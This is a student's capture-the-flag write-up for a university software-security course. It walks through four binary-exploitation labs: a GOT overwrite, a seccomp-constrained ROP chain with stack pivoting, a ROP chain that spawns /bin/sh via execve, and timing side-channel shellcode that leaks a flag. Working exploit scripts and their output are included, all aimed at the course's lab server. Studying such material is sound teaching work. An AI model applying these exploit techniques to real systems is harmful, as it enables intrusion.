--- tags: CS 2022 Fall, 程式安全 author: Ching367436 --- # [0x07] pwn I ### [LAB] got2win lecture: https://youtu.be/ktoVQB99Gj4%20 slide: https://drive.google.com/drive/folders/15jPvm8L618aYkuOkyEm17DzPlFDgCzL8?usp=share_link #### 題目 ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> char flag[0x30]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); int fd = open("/home/user/Desktop/pwn1/got2win_642f93b268c28cb0/got2win/test/flag", O_RDONLY); read(fd, flag, 0x30); close(fd); write(1, "Good luck !\n", 13); unsigned long addr = 0; printf("Overwrite addr: "); scanf("%lu", &addr); printf("Overwrite 8 bytes value: "); read(0, (void *) addr, 0x8); printf("Give me fake flag: "); int nr = read(1, flag, 0x30); if (nr <= 0) exit(1); flag[nr - 1] = '\0'; printf("This is your flag: ctf{%s}... Just kidding :)\n", flag); return 0; } ``` `:13,15` 會先把 `flag` 讀取近來 `:18,22` 讓我們 Overwrite 一個記憶體位址 `:25` 會從 `stdout` 把東西讀進 `flag` 把東西從 `stdout` 讀進來看起來很特別 只要把 `read` 想辦法蓋成 `write` 就可以直接把 `flag` 輸出到 `stdout` 了 這邊來找 `read` 的 `got` 由下圖可知是 `0x404038` `write` 的 `plt` 是 `0x401030` 把 `read` `got` 的地方寫成 `write` 的 `plt` 那最後程式執行到 `read` 的時候就會把 `write` 載入到 `read` `got` 就成功把 `read` 蓋成 `write` 了 ![](https://i.imgur.com/VSTzJlW.png) ##### `got2win/exp.py` ```python from pwn import * context.arch = 'amd64' r = remote('edu-ctf.zoolab.org', 10004) read_got = 0x404038 write_plt = 0x401030 r.sendlineafter(b'Overwrite addr: ', str(read_got).encode()) r.sendafter(b'Overwrite 8 bytes value: ', p64(write_plt)) r.interactive() '''output [+] Opening connection to edu-ctf.zoolab.org on port 10004: Done [*] Switching to interactive mode Give me fake flag: FLAG{apple_1f3870be274f6c49b3e31a0c6728957f} \x00\x00his is your flag: ctf{FLAG{apple_1f3870be274f6c49b3e31a0c6728957f} }... Just kidding :) [*] Got EOF while reading in interactive ''' ``` ### [LAB] rop2win #### 題目 ```c= #include <stdio.h> #include <unistd.h> #include <seccomp.h> char fn[0x20]; char ROP[0x100]; // fd = open("flag", 0); // read(fd, buf, 0x30); // write(1, buf, 0x30); // 1 --> stdout int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_load(ctx); seccomp_release(ctx); printf("Give me filename: "); read(0, fn, 0x20); printf("Give me ROP: "); read(0, ROP, 0x100); char overflow[0x10]; printf("Give me overflow: "); read(0, overflow, 0x30); return 0; } ``` 題目用 `seccomp rule` 限制了 `syscall` 這邊 `open` `read` `write` `exit_group` `exit` 仍可使用 所以打算使用 `open` `read` `write` 來構造出下面的結構 ```c open(filename, 0, 0); read(fd, filename_addr, 0x30); write(1, filename_addr, 0x30); ``` #### checksec ![](https://i.imgur.com/mPNbWnU.png) 看到有 `NX` 所以先考慮使用 `ROP Stack pivoting` #### 全域變數 這邊題目好心給了 `fn[0x20]` `ROP[0x100]` 這兩個可控的全域變數 這樣可以很方便的取得他們的位置 ##### `gef` ```c gef➤ p &fn $5 = (<data variable, no debug info> *) 0x4e3340 <fn> gef➤ p &ROP $6 = (<data variable, no debug info> *) 0x4e3360 <ROP> gef➤ ``` 所以這邊打算把 1. `fn` 放成 `/home/chal/flag` 2. `ROP` 放成 `ROP` 所以要來找 `ROP Gadget` #### ROP Gadget 這裡使用 `ROPgadget` 來找 `ROP Gadget` ```c user@user-vm ~/D/p/rop2win> ROPgadget --binary ./share/chal > rop1 ``` 會用到的有 1. `pop_rdi_ret` 2. `pop_rsi_ret` 3. `pop_rax_ret` 4. `leave_ret` 5. `syscall_ret` 不過這裡沒有 `pop_rax_ret` 所以找了 `pop_rax_rdx_rbx_ret` 這樣就有 `open` `read` `write` 了 #### 控制程式執行流程 這邊題目給了 `overflow[0x10]` 題目會讀取 `0x30` 個字 所以有 `overflow` 然後題目給的 `overflow` 剛好可以蓋到 `ret addr` 所以還是需要 `ROP` 這個變數來放 `ROP` ```c aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa ^ ^ old_rbp ret_addr ``` #### ROP Stack Pivoting 有了 `overflow` 之後 將 `stack` 上的 1. `ret addr` 蓋成 `leave ; ret` 的位置 2. `old_rbp` 蓋成 `&ROP-8` 如下圖 ![](https://i.imgur.com/PlGpoFt.png) 這樣執行到 `leave` 的時候 `rbp` 會跑去 `&ROP-8` 執行到 `ret` 的時候 `rip` 會跳去 `leave ; ret` 的位置 如下圖 ![](https://i.imgur.com/78WDnMO.png) 所以接下來又會碰到一次 `leave ; ret` 碰到 `leave` 的時候 相當於執行 ```asm mov rsp, rbp pop rbp ``` 所以 `rsp` 會被蓋成 `rbp` 也就是 `&ROP-8` `rsp` 好像還會加 8 (? 好像是 `pwntools` 做的事) 所以會是 `&ROP` 碰到 `ret` 的時候 因為 `rsp` 已經變道 `&ROP` 了 所以 `rip` 會跳到 `rsp` 也就是 `ROP` 上第一個所指的地方 那邊是可控的 只要把 `ROP` 做好就可以 會用到的 `gadget` 都找好了 接著跳到 `ROP` 後就可以收 `flag` 了 以下是我的 `ROP chain` ##### `rop2win/exp.py` ```python ROP = flat( # open(filename, 0, 0) pop_rdi_ret, filename_addr, pop_rsi_ret, 0, pop_rax_rdx_rbx_ret, 2, 0, 0, syscall_ret, # read(fd, filename_addr, 0x30) pop_rdi_ret, 3, pop_rsi_ret, filename_addr, pop_rax_rdx_rbx_ret, 0, 0x30, 0, syscall_ret, # write(1, filename_addr, 0x30) pop_rdi_ret, 1, pop_rsi_ret, filename_addr, pop_rax_rdx_rbx_ret, 1, 0x30, 0, syscall_ret ) '''output: [+] Opening connection to edu-ctf.zoolab.org on port 10005: Done [*] Switching to interactive mode FLAG{banana_72b302bf297a228a75730123efef7c41} \x00[*] Got EOF while reading in interactive ''' ``` ### [HW] rop++ #### 題目 ```c= #include <stdio.h> #include <unistd.h> #include <string.h> int main() { char buf[0x10]; const char *msg = "show me rop\n> "; write(1, msg, strlen(msg)); read(0, buf, 0x200); return 0; } ``` #### file ![](https://i.imgur.com/tfnngXf.png) #### checksec ![](https://i.imgur.com/zqr4uLB.png) #### overflow 題目 `:15` 有明顯的 overflow 因為有 `NX` 所以不能直接寫 `shellcode` 到 `stack` 執行 這邊打算用 `ROP` 來了解一下 `old rbp` 與 `&buf` 的 `offset` 送給 `buf` 以下 `pattern` ``` aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa ``` 由下圖可看出 `old rbp` 的 `offset` 是 `0x20` 所以 `ret addr` 的 `offset` 是 `0x28` <!-- ![](https://i.imgur.com/rSxh3Cf.png) --> ![](https://i.imgur.com/25gQ4Hi.png) 這邊想要拿到 `"/bin/sh\x00"` 這個字串 然後在 `execve("/bin/sh")` 這邊先試著用 `read(0, somewhere, 8)` 把 `"/bin/sh\x00"` 試著寫進去 ![](https://i.imgur.com/W7zqyJ4.png) `0x000000004c5000` 可讀可寫 那就決定把 `"/bin/sh\x00"` read 到 `0x000000004c5000` 可以從下圖看到寫的進去 而且我選的 `syscall` 後面會跳回原處 然後變成 `lseek` 的 `syscall` `syscall` 後面會跳回原處 然後變成 `lseek` 的 `syscall` `syscall` 後面會跳回原處 然後變成 `lseek` 的 `syscall` 行程無限迴圈 ![](https://i.imgur.com/5L2XP6n.png) 可是這裡找到的 `ROP Gadget` 只有 `syscall` 沒有 `syscall ; ret` 所以我們只能用一次 `syscall` 那就用別的方法把 `/bin/sh\x00` 寫進去 https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/ 所以找了個 ```asm 0x449fa5 <_dl_get_tls_static_info+21>: mov QWORD PTR [rsi],rax 0x449fa8 <_dl_get_tls_static_info+24>: ret ``` 然後構成了以下的 `ROP chain` ##### `rop++/exp.py` ```python ROP = flat( # move "/bin/sh\x00" to writable_addr pop_rax_ret, bin_sh, pop_rsi_ret, writable_addr, mov_rax2rsi_addr_ret, # execve('/bin/sh', 0, 0) pop_rdi_ret, writable_addr, pop_rsi_ret, 0, pop_rax_rdx_rbx_ret, 0x3b, 0, 0, syscall, ) '''output user@user-vm ~/D/p/rop++> python3 ./exp.py [+] Opening connection to edu-ctf.zoolab.org on port 10003: Done [*] Switching to interactive mode $ cat /home/chal/flag FLAG{chocolate_c378985d629e99a4e86213db0cd5e70d} $ ''' ``` ### [HW] how2know #### 題目 ```c= #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <seccomp.h> #include <sys/mman.h> #include <stdlib.h> static char flag[0x30]; int main() { void *addr; int fd; scmp_filter_ctx ctx; addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((unsigned long)addr == -1) perror("mmap"), exit(1); fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the code\n", 33); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); ((void(*)())addr)(); return 0; } ``` #### file ![](https://i.imgur.com/MwouQWf.png) 看到 `dynamically linked` #### checksec ![](https://i.imgur.com/DwAuSwu.png) 看到 `NX` 不過題目會處理讓 `shellcode` 可以執行所以沒差 #### got ![](https://i.imgur.com/BQV0USe.png) #### seccomp-tools ![](https://i.imgur.com/WOhgycM.png) #### solve 看到只能用 `exit` `exit_group` 的 `syscall` 只能想辦法用其他方法 leak 出 `flag` https://unam.re/blog/reading-files-without-write-syscall 先找到 `flag` 的記憶體位置 ![](https://i.imgur.com/SdOSPOV.png) 結果發現每次都會變 ![](https://i.imgur.com/1TAZREP.png) 看到 `flag` 是相對於 `rip` 的 所以我們需要執行到 `+119` 的時候的 `rip` 而那個時候的 `rip` 的資訊我們可以從 `stack` 上找到 ![](https://i.imgur.com/503PIpq.png) 然後 `<main+0>` 也在 `stack` 也就是 `$rbp+0x18` ![](https://i.imgur.com/khYmacj.png) ![](https://i.imgur.com/MqzvjrH.png) `flag` 的位置在 `<main+159> + 0x2d18` 所以可以算的出來 實際試看看可以發現算出來的是對的 ![](https://i.imgur.com/P2FVQvs.png) 有 `flag` 的位置的話我們就可以開始 leak `flag` 了 我們透過讓產生兩種不同的回應來做到資訊的取得 用時間來區分 方法如下 ```asm xor r11, r11 delay: inc r11 cmp r11, 0x7fffffff jne delay ``` 這樣就可以做出 `delay` 的效果 可以看到有明顯的時間差如下圖 (第一個是有 `delay` 的 第二個則否) ![](https://i.imgur.com/NgqqJr2.png) 我這邊的計畫是如果 `flag[i] == guess` 就讓他 `delay` 反之則否 對於每個 `i` 都試一次就可以找出 `flag` 了 `shellcode` 如下 ##### `shellcode` ```asm xor rax, rax xor rdx, rdx xor rsi, rsi xor rdi, rdi mov dl, {guess} /* guess */ mov rsi, [rbp+0x18] /* rsi = <main+0> */ lea rdi, [rsi+159+0x2d18] /* rdi = (<main+159> + 0x2d18) */ mov al, byte [rdi+{idx}] /* al = *(&flag+idx) */ cmp al, dl jnz end xor r11, r11 delay: inc r11 cmp r11, 0x7fffffff jne delay end: ``` 這邊就先不用二分搜索 反正字數不多 效果看起來不錯 ![](https://i.imgur.com/vSTPr3K.png) 這邊的取法就取時間話最久的來當 `flag[i]` 做到一半看到一個很危險的 ![](https://i.imgur.com/Wei7oYJ.png) 找到的 `flag` 有差兩個字 ``` FLAG{piano_d11sf1c3f9ed8S19288f4e8ddecfb8ec} ``` ``` FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec} ``` 那就多 `sample` 個幾次 ##### `how2know/exp.py` ```python flag = '' for i in range(-1, 99999): timeTaken = [] for guess in range(0x21, 0x7f): # sample 3 times in case of noise timeTaken.append(0) timeTaken[-1] = min(getTimeTaken(i, guess), getTimeTaken(i, guess), getTimeTaken(i, guess)) print(f'idx: {i}, guess: {guess}, time: {timeTaken[-1]}') longest_idx = timeTaken.index(max(timeTaken)) flag += chr(longest_idx + 0x21) print(flag) if flag[-1] == '}': break '''output FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec} ''' ```